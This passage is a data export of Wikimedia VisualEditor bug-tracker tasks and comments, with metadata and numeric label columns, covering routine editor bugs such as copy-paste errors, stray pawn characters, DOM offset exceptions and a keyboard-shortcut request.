+",,,1426622545,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nqg4k7suwubkfsf5dkfa,task_subcomment,,True,c1,3,False,,,89,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+426507,Reduce number of load.php calls on VisualEditor open (down from 3),"Change 193026 merged by jenkins-bot:
+Load RL modules in one load.php request, rather than in two stages
+
+[[https://gerrit.wikimedia.org/r/193026]]",,,1426388603,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nqg4k7suwubkfsf5dkfa,task_subcomment,,True,c1,3,False,,,88,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+449826,Reduce number of load.php calls on VisualEditor open (down from 3),"Saves 1 request and 3KB.
+
+From 20 total request (521KB), to 19 total requests (518KB).
+
+Tested on localhost. (Page view + load editor; includes two EventLogging requests and some images).",,,1430162161,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nqg4k7suwubkfsf5dkfa,task_subcomment,,True,c1,3,True,,,95,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+426504,Reduce number of load.php calls on VisualEditor open (down from 3),"Saves 1 request and 3KB.
+
+From 20 total request (512KB), to 19 total requests (518KB).
+
+Tested on localhost. (Page view + load editor; includes two EventLogging requests and some images).",,,1426382771,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nqg4k7suwubkfsf5dkfa,task_subcomment,,True,c1,3,True,,,88,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+419493,Reduce number of load.php calls on VisualEditor open (down from 3),"Change 193026 had a related patch set uploaded (by Jforrester):
+[WIP] Factor out loading code into TargetLoader
+
+[[https://gerrit.wikimedia.org/r/193026]]
+",,,1425330752,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nqg4k7suwubkfsf5dkfa,task_subcomment,,True,c1,3,False,,,87,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+53538,VisualEditor: Reverse selections break copy paste functionality,"* Select some text forwards and copy-paste it, everything is great.
+* Select some text backwards and copy-paste it, you now have an extra linebreak.
+
+?!???!
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1374074040,1377195467.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-usa4c4in3z4ffsufnkoi,task_description,resolved,True,c1,3,True,False,True,2,,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0
+254160,VisualEditor: Reverse selections break copy paste functionality,Now merged; will go out with next push.,,,1377195467,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-usa4c4in3z4ffsufnkoi,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+254154,VisualEditor: Reverse selections break copy paste functionality,"Change 80299 merged by jenkins-bot:
+Fix copy and paste of backwards selction
+
+https://gerrit.wikimedia.org/r/80299",,,1377195266,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-usa4c4in3z4ffsufnkoi,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+254147,VisualEditor: Reverse selections break copy paste functionality,"Change 80299 had a related patch set uploaded by Esanders:
+Fix copy and paste of backwards selction
+
+https://gerrit.wikimedia.org/r/80299",,,1377120336,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-usa4c4in3z4ffsufnkoi,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+254140,VisualEditor: Reverse selections break copy paste functionality,I can confirm this is still happening in Firefox 23/linux,,,1376732778,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-usa4c4in3z4ffsufnkoi,task_subcomment,,True,c1,3,False,,,6,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+53532,VisualEditor: CTRL+Z occasionally inserts a pawn,"When typing in visual editor, sometimes pressing CTRL+Z will replace the last entered character with a pawn (♙).
+
+I've encountered this most frequently when undoing text that appeared as a link when I didn't want it to (see bug 51531) but occasionally when undoing other text as well.
+
+There are numerous other pawn insertion bugs, other editors have suggested possible relationships with bug 49732, bug 48346 or bug 51140, but none seem quite the same (e.g. there is no non-ASCII text, bold or italics involved) and all are marked as fixed. I encountered this yesterday and today (16 and 17 July).
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51762
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52113",High,80.0,1374065460,1406599341.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-u4mzdxdhi5v6xlyw7zkb,task_description,resolved,True,c1,3,False,False,False,2,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,1,1,0,1,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,0
+253776,VisualEditor: CTRL+Z occasionally inserts a pawn,I believe these issues are now fixed.,,,1406599341,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-u4mzdxdhi5v6xlyw7zkb,task_subcomment,,True,c1,3,True,,,56,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+253769,VisualEditor: CTRL+Z occasionally inserts a pawn,"This is still happening occasionally, and almost always associated with undoing text added to a link. However I can't reproduce it every time.",,,1379617320,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-u4mzdxdhi5v6xlyw7zkb,task_subcomment,,True,c1,3,False,,,11,,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+253762,VisualEditor: CTRL+Z occasionally inserts a pawn,en.wp thread for reference https://en.wikipedia.org/w/index.php?title=Wikipedia:VisualEditor/Feedback&oldid=564648446#Adding_text_after_a_link_includes_that_text_in_the_link._Undoing_sometimes_gives_a_pawn,,,1374065788,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-u4mzdxdhi5v6xlyw7zkb,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+53526,"VisualEditor: Fix ""Uncaught Error: Offset could not be translated to a DOM element and offset: 2409""","Screenshot of problem
+
+1. Open https://en.wikipedia.org/wiki/Pancytopenia?veaction=edit#External_links
+2. Select Commonscat template block
+3. Put cursor in heading after ""External links""
+4. Arrow keys to navigate down (to after text in list item ""* [[CDC]]"")
+5. Arrow keys to navigate right
+
+
+> Uncaught Error: Offset could not be translated to a DOM element and offset: 2409
+ve.ce.Document.getNodeAndOffset
+ve.ce.Surface.showSelection
+ve.ce.Surface.onChange
+oo.EventEmitter.emit
+ve.dm.Surface.change
+ve.ce.Surface.handleLeftOrRightArrowKey
+ve.ce.Surface.onDocumentKeyDown
+proxy
+jQuery.event.dispatch
+elemData.handle.eventHandle
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11838}",High,80.0,1374062040,1401474060.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-rygkkourrlt3am2ziugg,task_description,resolved,True,c1,3,True,False,False,2,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,1,0,0,1
+574335,"VisualEditor: Fix ""Uncaught Error: Offset could not be translated to a DOM element and offset: 2409""","I just got that same error (""Uncaught Error: Offset could not be translated to a DOM element and offset: 458"") on Meta. Sadly, I don't know what caused it.",,,1449517807,,PHID-USER-z6nzrwuaij3spgyg23jt,False,,,PHID-TASK-rygkkourrlt3am2ziugg,task_subcomment,,True,c1,3,False,,,127,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+253489,"VisualEditor: Fix ""Uncaught Error: Offset could not be translated to a DOM element and offset: 2409""","This appears to now be fixed. Marking as such, though can't determine exactly what fixed fixed it (probably Ed's cursoring changes?).",,,1401474051,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rygkkourrlt3am2ziugg,task_subcomment,,True,c1,3,True,,,47,,0,0,0,1,1,1,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+253483,"VisualEditor: Fix ""Uncaught Error: Offset could not be translated to a DOM element and offset: 2409""",Confirmed still happening.,,,1385386045,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rygkkourrlt3am2ziugg,task_subcomment,,True,c1,3,True,,,21,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0
+53525,VisualEditor: Block slug deletion causing very odd corruption/skipping/repeat/pawns,"When doing the steps outlined below, strange '9' character plus a newline appears and input it jumped backwards after 3 character.
+
+See http://youtu.be/A7MWIdu3dtk for how it looks; Using http://en.wikipedia.org/wiki/Ansaldo_Poggi as test ground.
+
+1. Place marker under ""References"" header
+2. hit ""backspace""
+3. type ""foobar""
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**URL**: http://en.wikipedia.org/wiki/Ansaldo_Poggi",High,80.0,1374059640,1383848681.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-qnbuhg3o2v7eth5y6stx,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+253442,VisualEditor: Block slug deletion causing very odd corruption/skipping/repeat/pawns,"Resetting to FIXED; this was a confirmed broken behaviour which has subsequently been FIXED, as far as we can tell - probably by the re-write of the Content Editable surface interaction model.",,,1383848681,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qnbuhg3o2v7eth5y6stx,task_subcomment,,True,c1,3,True,,,18,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+253436,VisualEditor: Block slug deletion causing very odd corruption/skipping/repeat/pawns,"(In reply to comment #2)
+> Cannot reproduce it now on betalabs.
+
+Where ""on betalabs""? Tested how exactly (which browsers and versions)? Current steps aren't transparent so somebody else couldn't recreate your conditions...
+
+> It might got fixed.
+
+""Might"" = no identifiable code commit = WORKSFORME instead of FIXED. See https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle",,,1383813641,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qnbuhg3o2v7eth5y6stx,task_subcomment,,True,c1,3,True,,,18,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,1
+253430,VisualEditor: Block slug deletion causing very odd corruption/skipping/repeat/pawns,"Cannot reproduce it now on betalabs.It might got fixed.So changing the status as resolved and fixed.
+If you can still reproduce it, please reopen it.",,,1383784994,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-qnbuhg3o2v7eth5y6stx,task_subcomment,,True,c1,3,False,,,18,,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+253425,VisualEditor: Block slug deletion causing very odd corruption/skipping/repeat/pawns,"TypeError: node.getParent(...) is null
+http://bits.wikimedia.org/static-1.22wmf9/extensions/VisualEditor/modules/ve/ce/ve.ce.Surface.js
+Line 1267",,,1374094589,,PHID-USER-2mkpm2voxepwvz7abjug,False,,,PHID-TASK-qnbuhg3o2v7eth5y6stx,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+53523,VisualEditor: Too many clicks needed to dismiss inlink editor,"I use the ""link"" tool from the toolbar to in-link to other articles. However, after adding the link, the editor doesn't disappear. I have to click again, outside it, to make it go away.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1374057840,1375304932.0,PHID-USER-5tluooawvjfhtqywnxag,False,,False,PHID-TASK-qpzhi34lem7nwd6nbsu5,task_description,resolved,True,c1,3,False,False,True,2,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+253365,VisualEditor: Too many clicks needed to dismiss inlink editor,This is now merged and will be deployed later.,,,1375304932,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qpzhi34lem7nwd6nbsu5,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+253362,VisualEditor: Too many clicks needed to dismiss inlink editor,"Change 76839 merged by jenkins-bot:
+Link inspector bug fixes
+
+https://gerrit.wikimedia.org/r/76839",,,1375304095,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qpzhi34lem7nwd6nbsu5,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+253359,VisualEditor: Too many clicks needed to dismiss inlink editor,"Change 76839 had a related patch set uploaded by Trevor Parscal:
+The greatest commit in the history of the world*
+
+https://gerrit.wikimedia.org/r/76839",,,1375222020,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qpzhi34lem7nwd6nbsu5,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0
+53507,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""","I think ""Clear formatting"" is important enough to justify a keyboard shortcut.  For example, there are cases where the formatting can unintentionally continue longer than you want, such as when you add a link.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53682
+https://bugzilla.wikimedia.org/show_bug.cgi?id=56453",High,80.0,1374037140,1383284035.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-hju3hugjlttehugtvu7d,task_description,resolved,True,c1,3,True,False,False,2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,1,0,0
+252473,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""",Re-closing; have made bug 56453 for the suggestion to add a new one for other keyboards.,,,1383284035,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hju3hugjlttehugtvu7d,task_subcomment,,True,c1,3,True,,,17,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0
+252470,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""","(In reply to comment #7)
+> Except there is no \ key on keyboards like the French one, so the shortcut is
+> reported as not working (also, provoking weird behaviour I'll report
+> elsewhere), since they should type CTRL + Alt Gr + 8. Can we do something
+> about this? Thanks.
+
+Weird behaviour reported on https://bugzilla.wikimedia.org/show_bug.cgi?id=53682",,,1378291458,,PHID-USER-o34e5i3eq4nstbvcf26w,True,,,PHID-TASK-hju3hugjlttehugtvu7d,task_subcomment,,True,c1,3,False,,,9,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1
+252466,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""","Except there is no \ key on keyboards like the French one, so the shortcut is reported as not working (also, provoking weird behaviour I'll report elsewhere), since they should type CTRL + Alt Gr + 8. Can we do something about this? Thanks.",,,1378127567,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-hju3hugjlttehugtvu7d,task_subcomment,,True,c1,3,False,,,9,,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+252463,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""","Now merged and will go out with the next production push, probably tomorrow.",,,1375145540,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hju3hugjlttehugtvu7d,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+252458,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""","Change 76666 merged by jenkins-bot:
+Add keyboard shortcut for 'clear' button
+
+https://gerrit.wikimedia.org/r/76666",,,1375145481,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-hju3hugjlttehugtvu7d,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+252452,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""","Change 76666 had a related patch set uploaded by Jforrester:
+Add keyboard shortcut for 'clear' button
+
+https://gerrit.wikimedia.org/r/76666",,,1375143259,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-hju3hugjlttehugtvu7d,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+252447,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""",Ctrl + M might be a little friendlier.  I know from experience people confuse backslash and forward slash.  But I don't feel strongly about it.,,,1375139344,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-hju3hugjlttehugtvu7d,task_subcomment,,True,c1,3,True,,,4,,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+252438,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""","I can see wanting to use Ctrl + Spacebar for a general whitespace inserter menu (nbsp/tab/etc.), so how about we go with Ctrl + \?",,,1375071949,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hju3hugjlttehugtvu7d,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+252433,"VisualEditor: Add a keyboard shortcut for ""Clear formatting""","Shortcuts used in other programs are:
+
+Ctrl + Spacebar - Used by Word for ""Remove paragraph or character formatting.""/""Remove manual character formatting"" (http://support.microsoft.com/kb/290938).
+Ctrl + \ - Used by Google Docs for ""Clear formatting"" (https://support.google.com/drive/answer/179738?hl=en)
+Ctrl + M - Used by LibreOffice for ""Clear direct formatting"" (https://help.libreoffice.org/Common/General_Shortcut_Keys_in)",,,1375071593,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-hju3hugjlttehugtvu7d,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+53502,VisualEditor: Reduce event rapid fire in CE,"Right now the SurfaceObserver locks and unlocks a lot, firing a lot of events and stopping and restarting a lot. We should make locks wider so that this doesn't happen.
+
+We should also eliminate cases where the SurfaceObserver responds to a DOM change that was actually made by VE itself, and we should change pawning to no longer go through the model.
+
+--------------------------
+**Version**: unspecified
